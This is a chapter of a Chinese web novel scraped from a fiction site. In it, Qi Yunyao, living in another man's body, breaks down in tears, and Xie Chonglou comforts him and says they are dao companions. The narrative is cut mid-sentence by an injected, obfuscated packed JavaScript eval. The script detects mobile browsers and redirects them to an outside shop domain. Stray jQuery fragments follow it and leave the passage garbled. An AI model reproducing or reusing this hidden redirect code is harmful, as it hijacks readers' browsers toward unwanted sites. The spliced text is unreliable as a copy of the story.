文趣网 > 其他小说 > 花孔雀的心尖牛 > 84. 玉虚(五)
    启程当日天色晦暗,烈阳被层层厚云遮蔽,整片天幕压得沉沉闷闷。

    玉虚仙宗此番只遣一艘巨型飞舟送行,出行之人寥寥,巡狩队一众、风幕卿、风绍彦,以及祁云耀,拢共不过三十人。

    飞舟缓缓升空,地面景致渐渐向后退远,地面上一胖一瘦身影逐渐模糊,二长老与四长老两张沉郁铁青的面容,终究隐入云雾,再也看不见。

    祁云耀收回眼,猝然撞上一双乌黑透亮的眼眸。谢重楼身上伤势大致痊愈,眉心那枚粗制滥造的金痣色泽黯淡,纵使风绍彦投来凌厉不善的注视,他也浑不在意,一腔目光灼热,完完完全全黏在祁云耀身上。

    换作从前,这般满眼热忱的凝望本该叫人心头荡漾,可现下祁云耀只觉心里发堵。他飞快敛回目光,抿紧唇角,跟着风绍彦转身走下甲板,进入了船舱。

    谢重楼立在原地,眉宇间凝着困惑,显然不解他突如其来的冷淡。

    自从登船,祁云耀便闭门躲在卧房之中,再不踏出半步。

    他在刻意回避,不愿也不敢再见那黑色身影。

    卧房隔壁便是风绍彦的居所,他也终日守在屋内,严防死守将谢重楼拦在外面。

    祁云耀蜷卧床榻,借着独处一味自我逃避,满心酸涩翻涌难抑。

    等恍然回神,才觉滚烫泪水早已爬了满脸。手中却死死攥着那枚属于自己的燕尾翎羽,尽管心里知这份情意是赠予原主风木息,他不过是鸠占鹊巢,却依旧舍不得丢弃。

    刚一入夜,隔壁间飘来细碎的窸窣声。

    祁云耀猛地坐起身,狐疑地朝那边望过去,目光沉沉。

    风绍彦出去了,被巡狩队的人引着往风幕卿那边去了。

    而他们的声响彻底静下去的下一秒,回廊尽头便传来脚步声——轻得几乎听不见,唯有那道细长高挑的影子,被灯火映在纸门上,纤长晃荡,像一道鬼影,一点点朝这边挪来,最后停在了他的门前。

    门扉被轻轻叩了两下。

    小燕的声音隔着门板飘进来:

    “是我,我可以进来吗?”

    祁云耀没应声,猛地掀被,将自己从头到脚裹得严严实实,只盼望着门外那人识趣地走掉。

    可下一秒,纸门便被拉开,又轻轻合上。屋外的夜风卷进来,搅得屋里压抑的气息翻涌不止。

    谢重楼自顾自进来,径直在祁云耀床边坐下。他微微皱眉,弯下头,想去看被子底下藏着的脸。

    “你在生气吗?”

    祁云耀一声不吭。

    谢重楼又往床里挪了挪,想钻进被子里,却发现被角被死死攥着,半点扯不动。他眉头蹙得更紧,身子又贴近几分,非要看清被子底下的模样。

    “你生气了。”

    他说得无比笃定,手上还在轻轻扯着被角,想把那团裹成球的人拉出来。

    “我没有。”

    祁云耀终于开口,声音却哑得厉害。

    话音刚落,一滴眼泪便落了出来,他立刻闭上嘴,咬紧牙,把自己裹得更紧,闷在被子里,再也不肯出声。

    “那你为什么不看我?”

    谢重楼追着问,声音轻轻的。

    祁云耀沉默着不吭声,强行忍着不让眼泪往外落,眼眶胀得发痛,眼泪蓄满眼眶。

    “为什么不理我。”

    “我没有!”

    还是这句话。

    好像否认了,就能抹掉那些拧巴的难过。好像他这个见不得光、不知从哪儿冒出来的孤魂,就能这样,能彻底插足然后毁掉两个人的感情,然后鸠占鹊巢,赖在人身边。

    “我不信。”

    谢重楼从身后想去抱他,可身形本就比他小一圈,再加一层厚厚的被子裹着,这一扑,整个人直接栽在了会动的被子团上。

    “除非你看我一眼。”

    “凭什么?”

    “那你就是生气了。”

    谢重楼更加笃定。

    他整个人贴在祁云耀背后,以一个笨拙的环抱姿势搂着他,脸颊贴在被子上,能清晰感觉到,被子里的人正在不停的抽搐。

    “我做错什么了吗?”

    “你为什么不理我……”

    祁云耀还是没说话。

    只是身子抖得更厉害。

    被子闷得燥热,热气蒸腾之下,眼泪和汗黏在一起,糊了满脸,湿得一塌糊涂。

    被子密不透风裹在身上,闷热的气息圈住全身,胸腔也压抑,心脏一阵一阵抽痛发紧,像是随时都要被压死似的。

    他躲在窒息感之中,杂乱的思绪在心底反复拉扯。

    原本还在想是不是因为占据了别人的身体,连风木息原本留存的情愫,也一并顺着血肉缠在了自己心上?

    倘若这份心动只是原主遗留下的执念,那一切尚且能够勉强说服自己放下。

    可静下心细细琢磨,似乎又不是的,他早已遗失从前所有过往,连风木息的一切都毫无记忆,一切都是陌生的,时刻都处在巨大的恐慌里,既然这样又怎么会连带着保存下来那份爱慕呢?

    这太奇怪了。

    想来想去,答案只剩一个——动了真心的,从头到尾都是此刻的自己。

    可一想到要借着旁人的身躯,贪恋本该属于风木息的心上人,一股浓烈的难堪与厌恶便席卷全身。

    他唾弃怀揣这份心意的自己,一遍遍在心底暗自斥责,可深埋的欢喜确实不受理智管束,依旧不受控制地从心底往外翻涌,怎么压都压不下去。

    不该变成这样,无论如何都不该是这样的!

    就在他被矛盾折磨得心神俱裂之时,身后环抱着的温热躯体轻轻贴着被褥,谢重楼顺口唤出了那个时时刻刻牵动他神经的名字。

    “阿息——”

    积攒许久的情绪轰然崩裂,祁云耀再也绷不住分毫,压抑的崩溃尽数爆发出来。

    “你闭嘴!我不是风木息!我不是他!”

    凄厉的哭声猛地冲破喉咙,他浑身止不住剧烈颤抖,顾不得半点体面,嘶吼着宣泄心底积攒的委屈与煎熬,“风木息早就不在了,早就死了!现在占着这个身体的人是我,我不是他!”

    “不要再对着我喊那个名字,你再这么叫我,我就……我就……”

    狠话卡在唇边,辗转半晌,后半句无论如何都说不出口。

    身后的谢重楼原本牢牢环着他,手臂骤然僵住,一双黑眸睁得圆圆的,满脸茫然错愕,眼底盛满不解,有些犹疑地望着情绪失控的人:“既然你不是风木息,那你现在是谁?”

    “我不知道!我根本不知道我是谁!”

    祁云耀埋着头失声痛哭,剧烈的哭泣引得胸口阵阵发闷,接连几声呛咳,攥紧被单的手指不自觉松了力气。

    谢重楼抓住这个空隙,顺势一把将裹在他身上的厚被子尽数扯落。

    闷热空气骤然散开,散乱的乌发被混在一起的液体打湿,一缕缕黏在泛红的脸颊,白皙如玉的面皮染上滚烫的绯色,一双眼眸水汽蒸腾,泛红灼热,大颗大颗晶莹泪珠凝结着,源源不断顺着脸颊滚落,吧嗒吧嗒地往下坠。

    “我什么都记不得了,我什么都不知道

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596461|196908||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    !我不是风木息,但我又不清楚自己是谁!”

    崩溃的哭声混着几分古怪,以及掺了一丝荒唐的欢喜。

    祁云耀像是濒临溺水之人抓住唯一浮木,不顾一切,疯狂的上前,死死箍住谢重楼,索性抛开所有体面与顾虑,把整个人都埋进对方怀里,身子因为惶恐止不住簌簌发抖。

    “你不记得了?”

    谢重楼低声喃喃复述,话音刚落,怀里的呜咽骤然变得愈发撕心裂肺。

    沉寂许久的思绪终于缓缓启动,脑海如同尘封多年的偃甲齿轮,缓缓转动,发出细碎干涩的嘎吱响动。

    他目光茫然涣散片刻,转瞬骤然凝实,眼底慢慢褪去懵懂。

    他下意识想要抬手推开怀中人,把话讲明。

    可祁云耀早已被惶恐裹挟,满心怕身份戳破之后便会被舍弃,手臂缠得紧,半点不肯松开。

    但凡谢重楼稍有挣动,他就强忍哭腔,压抑着歇斯底里,细细哀求:

    “别推开我,求求你别放开。”

    “好了好了,不挣了。”

    谢重楼停下动作,顺着他的力道反将人牢牢圈在怀中,手指笨拙地蹭过他被泪水濡湿的额发,嗓音尽量放得极柔。

    “我知道了,我应该明白了。”

    明明被心心念念之人拥在怀中,祁云耀心底的酸涩却半点未曾消减,泪水再也困不住,汹涌滚落。

    他抱得愈发用力,哽咽开口:

    “对不起,我占了你爱人的身体。可我不想再做风木息,如果是你没法接受,往后我们便分开。”

    嘴上说着放手的话,环抱的手臂却没有半分松劲,滚烫的眼泪连绵不绝,浸透谢重楼大片衣襟。谢重楼轻拍后背的动作猛地一顿,整个人僵在原地。

    祁云耀屏住呼吸,一颗心悬在半空,静静等候答复。既盼着他心软留下自己,又做好了被狠心推开的准备。

    浑身绵软发颤,迟疑着缓缓抬眼,猝不及防撞进一双澄澈透亮的眼眸。

    祁云耀像被烫到一般慌忙偏头,泪珠落得愈发汹涌。

    “我不是小燕。小燕早就陪着风木息离世了。”

    谢重楼再次收紧手臂,将人拖进怀里。不等祁云耀从错愕中回过神,温热的侧脸轻轻贴上来,蹭过满是泪痕的面颊,纤长的睫毛时不时扫过肌肤,落下细碎酥麻的痒意。

    “是我的错,之前以为你想要扮作风木息,才一直叫我小燕。别再难过了,我不是小燕,你也不是风木息。”

    祁云耀泪眼朦胧,抽噎着发问:“我不是风木息?那你是谁?”

    “谢重楼。我是谢重楼。”

    “那我呢?”

    “你是祁云耀。”

    祁云耀一顿,断断续续的抽噎骤然停下,眉头与鼻尖一同蹙起,眼尾晕开一片绯红,醉亮的迷人,水光盈盈的眸子定定凝着他,想在认真分辨这番话的真伪。

    可谢重楼并不再过多解释,只是安安静静专注望着他。

    半晌,祁云耀喉头发紧,小声追问:“那我们……是什么关系?”

    谢重楼眼珠轻轻一转,悄悄藏了些别样的心思。

    祁云耀被他似笑非笑的目光看得浑身别扭,正要发作,耳边便轻轻飘下来句:

    “我们是道侣。”

    他满脸写着错愕,摆明了压根不信。

    谢重楼难得地唇角弯起浅淡笑意,轻轻解释说:“当初你拼了命救下我,然后是我哭着闹着,非要以身相许。”

    祁云耀迟疑:“于是我答应了?”

    “嗯,你答应了。”